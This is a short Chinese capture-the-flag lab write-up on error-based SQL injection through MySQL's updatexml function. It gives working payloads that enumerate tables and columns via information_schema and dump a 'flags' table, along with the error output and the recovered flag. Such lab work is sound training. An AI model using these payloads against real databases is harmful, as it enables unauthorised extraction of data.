S04 报错型注入 updatexml
1.打开靶机
根据提示 是使用updatexml函数的报错型注入
2.开始注入
查表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
得到
XPATH syntax error: '~comments,flags,logs,news,produc'
查列名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags')),1)
得到
XPATH syntax error: '~flag,level,note'
查元素
1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)
得到flag
flag{sqli_04_error_updatexml}